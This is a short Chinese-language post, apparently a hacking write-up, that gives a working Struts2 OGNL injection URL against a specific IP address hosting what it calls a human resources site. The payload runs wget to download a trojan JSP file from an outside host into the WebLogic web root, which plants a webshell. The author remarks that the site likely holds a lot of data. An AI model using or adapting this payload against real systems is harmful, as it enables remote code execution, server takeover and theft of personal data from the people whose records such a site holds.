getshell方法：

221.215.38.132:8099/wssb/xgxz/list.action?redirect:${ %23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'wget','http://www.xxxx.com/muma.jsp''-O','/opt/weblogic/user_projects/domains/base_domain/servers/Server2/stage/wssb/wssb/muma.jsp'})).start(), %23b%3d%23a.getInputStream(), %23c%3dnew java.io.InputStreamReader(%23b), %23d%3dnew java.io.BufferedReader(%23c), %23e%3dnew char[50000],%23d.read(%23e), %23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'), %23matt.getWriter().println(%23e), %23matt.getWriter().flush(), %23matt.getWriter().close() }


这样就可以把muma.jsp木马下载到网站根目录下了。
这里我没有上传webshell，避免被查水表!
由于是人力资源网，信息量应该还是挺大的。
